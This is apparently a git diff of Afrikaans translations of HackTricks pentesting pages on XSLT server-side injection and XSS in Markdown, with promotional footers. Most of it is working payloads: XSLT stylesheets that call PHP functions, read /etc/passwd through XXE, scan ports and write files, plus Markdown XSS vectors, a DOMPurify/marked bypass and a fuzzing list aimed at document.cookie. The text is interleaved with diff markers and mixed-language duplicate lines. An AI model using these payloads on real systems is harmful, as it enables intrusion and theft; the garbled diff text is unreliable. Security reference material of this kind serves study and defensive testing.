As 'n pentester kan jy SSRF-aanvalle identifiseer deur die toepassing te skandeer vir moontlike kwesbaarhede, soos onvoldoende verifikasie van gebruikersinsette of die gebruik van onbetroubare protokolle. Jy kan ook probeer om toegang tot interne hulpbronne te verkry deur spesifieke URL's te stuur en te kyk of die toepassing dit aanvaar en reageer.
|
||||
|
||||
Dit is belangrik om bewus te wees van die risiko's van SSRF-aanvalle en om toepassings behoorlik te beveilig om hierdie tipe aanvalle te voorkom.
|
||||
```xml
|
||||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
|
||||
<xsl:include href="http://127.0.0.1:8000/xslt"/>
|
||||
|
@ -174,7 +169,7 @@ Dit is belangrik om bewus te wees van die risiko's van SSRF-aanvalle en om toepa
|
|||
```
|
||||
### Weergawes
|
||||
|
||||
Daar kan meer of minder funksies wees, afhangende van die gebruikte XSLT-weergawe:
|
||||
Daar mag meer of minder funksies wees, afhangende van die XSLT-weergawes wat gebruik word:
|
||||
|
||||
* [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
|
||||
* [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
|
||||
|
@ -211,32 +206,11 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
|
|||
</xsl:stylesheet>
|
||||
```
|
||||
## SSRF
|
||||
|
||||
SSRF (Server-Side Request Forgery) is 'n aanvalstegniek wat gebruik word om 'n webbediener te mislei om afgelope aanvrae na ander interne hulpbronne te stuur. Dit kan gebruik word om gevoelige inligting te onttrek, interne netwerktoegang te verkry of selfs om aanvalle teen ander stelsels uit te voer.
|
||||
|
||||
SSRF-aanvalle kan voorkom as 'n gevolg van swak verifikasie van gebruikersinsette, waar die aanvaller 'n URL kan insluit wat verwys na 'n interne hulpbron. Die webbediener sal dan die aanvraag na die opgegee URL stuur, sonder om te besef dat dit 'n interne hulpbron is.
|
||||
|
||||
Om 'n SSRF-aanval uit te voer, moet die aanvaller 'n kwesbare webtoepassing vind wat die aanvraag na 'n URL stuur sonder behoorlike verifikasie. Die aanvaller kan dan 'n spesiaal ontwerpte URL insluit wat verwys na 'n interne hulpbron wat hy wil aanval.
|
||||
|
||||
Daar is verskeie maniere waarop 'n aanvaller 'n SSRF-aanval kan uitvoer, insluitend die gebruik van protokolmanipulasie, IP-adresmanipulasie en die gebruik van interne IP-adresse of privaat netwerkadressering.
|
||||
|
||||
Om 'n webtoepassing teen SSRF-aanvalle te beskerm, is dit belangrik om gebruikersinsette behoorlik te verifieer en te valideer voordat dit gebruik word om 'n aanvraag na 'n URL te stuur. Dit sluit in die beperking van toegang tot interne hulpbronne en die gebruik van 'n witlysbenadering vir toegelate URL's.
|
||||
```xml
|
||||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
|
||||
</esi:include>
|
||||
```
|
||||
## Javascript Injeksie
|
||||
|
||||
Javascript-injeksie is 'n tegniek wat gebruik word deur hackers om kwaadwillige Javascript-kode in 'n webwerf in te spuit. Hierdie kode word dan uitgevoer wanneer 'n gebruiker die geïnfekteerde webwerf besoek. Die doel van hierdie aanval is gewoonlik om sensitiewe inligting te steel, gebruikers te mislei of skadelike aksies op die webwerf uit te voer.
|
||||
|
||||
Daar is verskillende metodes vir Javascript-injeksie, insluitend:
|
||||
|
||||
- **Cross-site Scripting (XSS)**: Hierdie aanval maak gebruik van swakheid in die webwerf se invoervalidasie om kwaadwillige skrips in te spuit wat dan deur die webwerf aan ander gebruikers gestuur word.
|
||||
- **DOM-manipulasie**: Hierdie aanval maak gebruik van die Document Object Model (DOM) van 'n webwerf om die inhoud van die webwerf te verander of skadelike aksies uit te voer.
|
||||
- **Event Handlers**: Hierdie aanval maak gebruik van skadelike skrips wat aan gebeurtenishandelaars gekoppel is, soos 'n knoppie klik of 'n vorm indiening, om skadelike aksies uit te voer.
|
||||
- **Javascript URI**: Hierdie aanval maak gebruik van 'n spesiale URI-skema om kwaadwillige Javascript-kode uit te voer wanneer 'n gebruiker daarop klik.
|
||||
|
||||
Om jou webwerf teen Javascript-injeksie te beskerm, moet jy behoorlike invoervalidasie implementeer, gebruikersinsette korrek skoonmaak en veilige programmeerpraktyke volg. Dit sluit in die gebruik van veilige biblioteke en raamwerke, die beperking van die gebruik van eval() en die korrekte hantering van gebruikersinsette.
|
||||
## Javascript Inspuiting
|
||||
```xml
|
||||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
<xsl:template match="/">
|
||||
|
@ -263,9 +237,7 @@ Om jou webwerf teen Javascript-injeksie te beskerm, moet jy behoorlike invoerval
|
|||
<xsl:value-of select="php:function('readdir')"/> -
|
||||
</xsl:template></xsl:stylesheet>
|
||||
```
|
||||
### **Assert (var\_dump + scandir + false)**
|
||||
|
||||
### **Beweer (var\_dump + scandir + vals)**
|
||||
### **Assert (var\_dump + scandir + vals)**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
||||
|
@ -286,8 +258,6 @@ Om jou webwerf teen Javascript-injeksie te beskerm, moet jy behoorlike invoerval
|
|||
</xsl:stylesheet>
|
||||
```
|
||||
### **Intern - XXE**
|
||||
|
||||
XXE (Eksterne Entiteitsinjeksie) is 'n aanvalstegniek wat gebruik word om 'n aanvaller toe te laat om eksterne entiteite in 'n XML-dokument in te sluit. Hierdie aanval kan gebruik word om gevoelige inligting te verkry, die bediener te vertraag of selfs om 'n DoS-aanval (Denial of Service) uit te voer.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
|
||||
|
@ -297,22 +267,7 @@ XXE (Eksterne Entiteitsinjeksie) is 'n aanvalstegniek wat gebruik word om 'n aan
|
|||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
```
|
||||
### **Deur middel van HTTP**
|
||||
|
||||
XSLT Server Side Injection (SSI) is 'n aanvalstegniek wat gebruik maak van die Extensible Stylesheet Language Transformations (XSLT) om kwaadwillige kode uit te voer op 'n webbediener. Hierdie aanvalstegniek maak gebruik van 'n kwesbaarheid in die verwerking van XSLT-stylesheets deur die webbediener.
|
||||
|
||||
Om 'n XSLT SSI-aanval uit te voer, moet jy 'n spesiaal ontwerpte XSLT-stylesheet skep wat kwaadwillige kode bevat. Hierdie stylesheet moet dan aan die webbediener gestuur word deur middel van 'n HTTP-aanvraag. Die webbediener sal die stylesheet verwerk en die kwaadwillige kode uitvoer, wat jou toelaat om die webbediener te manipuleer en toegang te verkry tot sensitiewe inligting of verdere aanvalle uit te voer.
|
||||
|
||||
Dit is belangrik om te verstaan dat XSLT SSI-aanvalle slegs suksesvol sal wees as die webbediener XSLT-stylesheets verwerk en uitvoer. Nie alle webbedieners ondersteun hierdie funksionaliteit nie, dus moet jy eers vasstel of die teikensisteem vatbaar is vir hierdie tipe aanval.
|
||||
|
||||
Om 'n XSLT SSI-aanval uit te voer, kan jy die volgende stappe volg:
|
||||
|
||||
1. Identifiseer die teikensisteem se ondersteuning vir XSLT-verwerking deur die HTTP-responskoppe te ondersoek. Kyk vir die "Content-Type" -kop wat aandui of die webbediener XSLT-stylesheets verwerk.
|
||||
2. Skep 'n kwaadwillige XSLT-stylesheet wat die gewenste aksies uitvoer, soos die oproep van 'n eksterne bron of die lees van lêers op die bediener.
|
||||
3. Stuur die kwaadwillige XSLT-stylesheet na die teikensisteem deur middel van 'n HTTP-aanvraag. Maak seker dat die aanvraag die korrekte MIME-tipe vir XSLT-stylesheets bevat.
|
||||
4. Monitor die webbediener se respons om te sien of die kwaadwillige kode uitgevoer word. As dit gebeur, het jy suksesvol 'n XSLT SSI-aanval uitgevoer.
|
||||
|
||||
Dit is belangrik om hierdie aanvalstegniek verantwoordelik te gebruik en slegs op stelsels toe te pas waarvoor jy toestemming het om te toets. Misbruik van hierdie tegniek kan lei tot ernstige regskonsekwensies.
|
||||
### **Deur HTTP**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
|
@ -348,9 +303,7 @@ Dit is belangrik om hierdie aanvalstegniek verantwoordelik te gebruik en slegs o
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### Poortskandering
|
||||
|
||||
'n Poortskandering is 'n tegniek wat gebruik word om die veiligheid van 'n netwerk te ondersoek deur die poorte van 'n stelsel te ondersoek vir oop of geslote statusse. Dit behels die stuur van verskeie verbindingsversoeke na die poorte van 'n stelsel om te bepaal watter poorte aktief is en watter dienste daarop beskikbaar is. Hierdie inligting kan gebruik word om potensiële swakpunte in die netwerk te identifiseer en te verhelp. 'n Poortskandering kan uitgevoer word met behulp van verskeie sagtewarehulpmiddels, soos Nmap, om die poorte van 'n stelsel te skandeer en die resultate te analiseer.
|
||||
### Poort skandering
|
||||
```xml
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||||
|
@ -372,37 +325,7 @@ Dit is belangrik om hierdie aanvalstegniek verantwoordelik te gebruik en slegs o
|
|||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
```
|
||||
### **Xalan-J-uitbreiding**
|
||||
|
||||
Die Xalan-J-uitbreiding is 'n kragtige instrument wat gebruik kan word vir XSLT-serverkant-injeksie. Hierdie tegniek maak gebruik van die Xalan-J-biblioteek, wat 'n implementering van die Extensible Stylesheet Language Transformations (XSLT) is, om kwaadwillige kode uit te voer op die bedoelde bediener.
|
||||
|
||||
#### **Hoe werk dit?**
|
||||
|
||||
Die Xalan-J-uitbreiding maak gebruik van die XSLT-verwerker om 'n aangepaste XSLT-stylvel te skep wat kwaadwillige instruksies bevat. Hierdie stylvel word dan aan die bediener gestuur vir verwerking. Die bediener, wat die Xalan-J-biblioteek gebruik, sal die stylvel interpreteer en die kwaadwillige instruksies uitvoer.
|
||||
|
||||
#### **Voorbeelde van Xalan-J-uitbreiding**
|
||||
|
||||
Hier is 'n paar voorbeelde van hoe die Xalan-J-uitbreiding gebruik kan word vir aanvalle:
|
||||
|
||||
1. **Databasisinjeksie**: Die Xalan-J-uitbreiding kan gebruik word om kwaadwillige SQL-instruksies in te sluit in die aangepaste XSLT-stylvel. Hierdie instruksies kan dan uitgevoer word op die databasis wat deur die bediener gebruik word.
|
||||
|
||||
2. **Lêerweergawe**: Die Xalan-J-uitbreiding kan gebruik word om lêers van die bediener te lees en hulle inhoud terug te stuur na die aanvaller. Dit kan gevoelige inligting soos wagwoorde, konfigurasie-lêers en ander belangrike data blootstel.
|
||||
|
||||
3. **Uitvoering van stelseloproepe**: Die Xalan-J-uitbreiding kan gebruik word om stelseloproepe op die bediener uit te voer. Dit kan die aanvaller toelaat om beheer oor die bediener te verkry en verskeie kwaadwillige aksies uit te voer.
|
||||
|
||||
#### **Beskerming teen Xalan-J-uitbreiding**
|
||||
|
||||
Om te beskerm teen Xalan-J-uitbreiding, kan die volgende maatreëls geneem word:
|
||||
|
||||
1. **Bepaalde toegang**: Beperk die toegang tot die Xalan-J-biblioteek en beperk die vermoë van die bediener om aangepaste XSLT-stylvelle te verwerk.
|
||||
|
||||
2. **Invoervalidasie**: Voer streng invoervalidasie uit om te verseker dat slegs geldige en veilige invoer aanvaar word.
|
||||
|
||||
3. **Sekuriteitspatches**: Verseker dat die bediener opgedateer is met die nuutste sekuriteitspatches om bekende kwesbaarhede te vermy.
|
||||
|
||||
4. **Sekuriteitsbewustheid**: Verskaf opleiding aan ontwikkelaars en beheerders oor die risiko's van Xalan-J-uitbreiding en hoe om dit te voorkom.
|
||||
|
||||
Deur hierdie maatreëls te implementeer, kan die risiko van Xalan-J-uitbreiding verminder word en die veiligheid van die bediener verhoog word.
|
||||
### **Xalan-J uitbreiding**
|
||||
```xml
|
||||
<xsl:template match="/">
|
||||
<redirect:open file="local_file.txt"/>
|
||||
|
@ -444,13 +367,13 @@ xmlns:php="http://php.net/xsl" >
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
Voer kode uit deur ander raamwerke in die PDF te gebruik
|
||||
Executeer kode met ander raamwerke in die PDF
|
||||
|
||||
### **Meer tale**
|
||||
### **Meer Tale**
|
||||
|
||||
**Op hierdie bladsy kan jy voorbeelde van RCE in ander tale vind:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
|
||||
|
||||
## **Kry toegang tot PHP statiese funksies vanaf klasse**
|
||||
## **Toegang tot PHP statiese funksies vanaf klasse**
|
||||
|
||||
Die volgende funksie sal die statiese metode `stringToUrl` van die klas XSL aanroep:
|
||||
```xml
|
||||
|
@ -467,30 +390,33 @@ version="1.0">
|
|||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
```
|
||||
(Voorbeeld van [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls))
|
||||
(Example from [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls))
|
||||
|
||||
## Meer Payloads
|
||||
* Kontroleer [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
|
||||
* Kontroleer [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
|
||||
## More Payloads
|
||||
* Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
|
||||
* Check [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
|
||||
|
||||
## **Lys vir Brute-Force Deteksie**
|
||||
## **Brute-Force Detection List**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
|
||||
|
||||
## **Verwysings**
|
||||
## **References**
|
||||
|
||||
* [XSLT\_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT\_SSRF.pdf)\\
|
||||
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
|
||||
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,32 +1,35 @@
|
|||
# XSS in Markdown
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
As jy die kans kry om kode in markdown in te spuit, is daar 'n paar opsies wat jy kan gebruik om 'n XSS te veroorsaak wanneer die kode geïnterpreteer word.
|
||||
As jy die kans het om kode in markdown in te voeg, is daar 'n paar opsies wat jy kan gebruik om 'n XSS te aktiveer wanneer die kode geïnterpreteer word.
|
||||
|
||||
### HTML-etikette
|
||||
### HTML-tags
|
||||
|
||||
Die mees algemene manier om XSS in markdown te kry, is om algemene HTML-etikette in te spuit wat javascript uitvoer, omdat verskeie markdown-interpreteerders ook HTML sal aanvaar.
|
||||
Die mees algemene manier om XSS in markdown te kry, is om algemene HTML-tags in te voeg wat javascript uitvoer, omdat verskeie markdown interpreteerders ook HTML sal aanvaar.
|
||||
```html
|
||||
<!-- XSS with regular tags -->
|
||||
<script>alert(1)</script>
|
||||
<img src=x onerror=alert(1) />
|
||||
```
|
||||
Jy kan meer voorbeelde vind in die [hoof XSS-bladsy van hacktricks](./).
|
||||
You kan meer voorbeelde vind in die [hoof XSS-bladsy van hacktricks](./).
|
||||
|
||||
### Javascript skakels
|
||||
|
||||
As HTML-etikette nie 'n opsie is nie, kan jy altyd probeer om met markdown-sintaksis te speel:
|
||||
As HTML-tags nie 'n opsie is nie, kan jy altyd probeer om met markdown-sintaks te speel:
|
||||
```html
|
||||
<!-- markdow link to XSS, this usually always work but it requires interaction -->
|
||||
[a](javascript:prompt(document.cookie))
|
||||
|
@ -42,26 +45,6 @@ As HTML-etikette nie 'n opsie is nie, kan jy altyd probeer om met markdown-sinta
|
|||
[a](javascript:window.onerror=alert;throw%201)
|
||||
```
|
||||
### Img gebeurtenis sintaksis misbruik
|
||||
|
||||
Die `img` element in HTML het 'n `onerror` gebeurtenis wat geaktiveer word as die bron van die prent nie gelaai kan word nie. Hierdie gebeurtenis kan misbruik word om 'n XSS-aanval uit te voer deur kwaadwillige kode in te sluit in die `onerror` attribuut.
|
||||
|
||||
#### Basiese sintaksis
|
||||
|
||||
```html
|
||||
<img src="ongeldige_bron" onerror="kwaadwillige_kode">
|
||||
```
|
||||
|
||||
#### Voorbeeld
|
||||
|
||||
```html
|
||||
<img src="ongeldige_bron" onerror="alert('XSS-aanval uitgevoer')">
|
||||
```
|
||||
|
||||
In hierdie voorbeeld sal die `alert`-funksie uitgevoer word as die bron van die prent nie gelaai kan word nie. Dit kan gebruik word om kwaadwillige aksies uit te voer, soos die stel van koekies, die stuur van gebruikersinligting na 'n aanvaller se bediener, of die verandering van die inhoud van die webwerf.
|
||||
|
||||
#### Verdediging
|
||||
|
||||
Om XSS-aanvalle deur middel van die `onerror` gebeurtenis te voorkom, moet alle invoer wat gebruik word om die `src` attribuut van die `img` element te vul, behoorlik gevalideer en gesaniteer word. Dit sluit in die verwydering van enige potensieel skadelike kode of karakters.
|
||||
```markdown
|
||||
![Uh oh...]("onerror="alert('XSS'))
|
||||
![Uh oh...](https://www.example.com/image.png"onload="alert('XSS'))
|
||||
|
@ -70,7 +53,7 @@ Om XSS-aanvalle deur middel van die `onerror` gebeurtenis te voorkom, moet alle
|
|||
```
|
||||
### HTML Sanitiser Markdown Bypass
|
||||
|
||||
Die volgende kode **sanitiseer HTML insette** en stuur dit dan na die markdown parser, XSS kan dan geaktiveer word deur misinterpretasies tussen Markdown en DOMPurify te misbruik.
|
||||
Die volgende kode is **sanitizing HTML invoer** en dan **dit aan die markdown parser deurgee**, dan kan XSS geaktiveer word deur misinterpretasies tussen Markdown en DOMPurify.
|
||||
```html
|
||||
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
|
||||
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
|
||||
|
@ -82,7 +65,7 @@ document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
|
|||
}
|
||||
</script>
|
||||
```
|
||||
Voorbeeld van payloads:
|
||||
Payloads voorbeeld:
|
||||
```html
|
||||
<div id="1
|
||||
|
||||
|
@ -99,16 +82,6 @@ Voorbeeld van payloads:
|
|||
`<p x="`<img src=x onerror=alert(1)>"></p>
|
||||
```
|
||||
### Fuzzing
|
||||
|
||||
Fuzzing is 'n tegniek wat gebruik word om programmatuur te toets deur willekeurige, ongeldige of onverwagte insette in die program in te voer. Die doel van fuzzing is om potensiële kwesbaarhede of foute in die program te identifiseer deur die program te dwing om onverwagte gedrag te vertoon.
|
||||
|
||||
Fuzzing kan gebruik word om XSS-kwesbaarhede in webtoepassings te ontdek. Deur ongeldige of kwaadwillige insette in invoerveldteks in te voer, kan 'n aanvaller probeer om skadelike skrips in die webtoepassing in te spuit. Hierdie skadelike skrips kan dan uitgevoer word wanneer 'n gebruiker die betrokke webbladsy besoek, wat die aanvaller in staat stel om gevoelige inligting te steel of die webtoepassing te manipuleer.
|
||||
|
||||
Om XSS-kwesbaarhede te ontdek deur middel van fuzzing, kan 'n aanvaller verskillende tipes insette probeer, soos HTML-etikette, JavaScript-kode, URL-parameters en meer. Deur die program te dwing om hierdie insette te verwerk, kan die aanvaller bepaal of daar 'n XSS-kwesbaarheid in die webtoepassing is.
|
||||
|
||||
Fuzzing kan handmatig of outomaties gedoen word met behulp van spesiale gereedskap soos fuzzers. Hierdie gereedskap genereer outomaties verskeie tipes insette en voer dit in die program in om potensiële kwesbaarhede te identifiseer. Dit maak die proses van XSS-kwesbaarheidsontdekking effektief en vinnig.
|
||||
|
||||
Dit is belangrik om te verstaan dat fuzzing 'n tegniek is wat gebruik kan word vir goeie doeleindes, soos die identifisering van kwesbaarhede in programmatuur om dit veiliger te maak. Dit moet egter slegs uitgevoer word op stelsels en toepassings waarvoor jy die regte toestemming het om te toets.
|
||||
```html
|
||||
<!--
|
||||
Fuzzing examples from
|
||||
|
@ -157,31 +130,9 @@ _http://danlec_@.1 style=background-image:url(data:image/png;base64,iVBORw0KGgoA
|
|||
[ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
|
||||
[ ](http://a?p=[[/onclick=alert(0) .]])
|
||||
[a](javascript:new%20Function`al\ert\`1\``;)
|
||||
[XSS](javascript:prompt(document.cookie
|
||||
[XSS](javascript:alert('XSS'))
|
||||
[XSS]: (javascript:prompt(document.cookie))
|
||||
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
|
||||
[XSS](javascript://%0d%0aprompt(1))
|
||||
[XSS](javascript://%0d%0aprompt(1);com)
|
||||
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
|
||||
[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
|
||||
[XSS](javascript:prompt(document.cookie))
|
||||
[XSS](j a v a s c r i p t:prompt(document.cookie))
|
||||
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||||
[XSS](vbscript:alert(document.domain))
|
||||
[XSS](javascript:this;alert(1))
|
||||
[XSS](javascript:this;alert(1))
|
||||
[XSS](javascript:this;alert(1))
|
||||
[XSS](Javascript:alert(1))
|
||||
[XSS](Javas%26%2399;ript:alert(1))
|
||||
[XSS](javascript:alert(1))
|
||||
[XSS](javascript:confirm(1)
|
||||
[XSS](javascript://www.google.com%0Aprompt(1))
|
||||
[XSS](javascript://%0d%0aconfirm(1);com)
|
||||
[XSS](javascript:window.onerror=confirm;throw%201)
|
||||
[XSS](<EFBFBD>javascript:alert(document.domain))
|
||||
![XSS](javascript:prompt(document.cookie))\
|
||||
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
|
||||
![XSS'"`onerror=prompt(document.cookie)](x)\
|
||||
```Afrikaans
|
||||
[XSS](javascript:alert('XSS'))
|
||||
[XSS]: (javascript:prompt(document.cookie))
|
||||
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
|
||||
|
@ -206,14 +157,17 @@ _http://danlec_@.1 style=background-image:url(data:image/png;base64,iVBORw0KGgoA
|
|||
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
|
||||
![XSS'"`onerror=prompt(document.cookie)](x)\
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
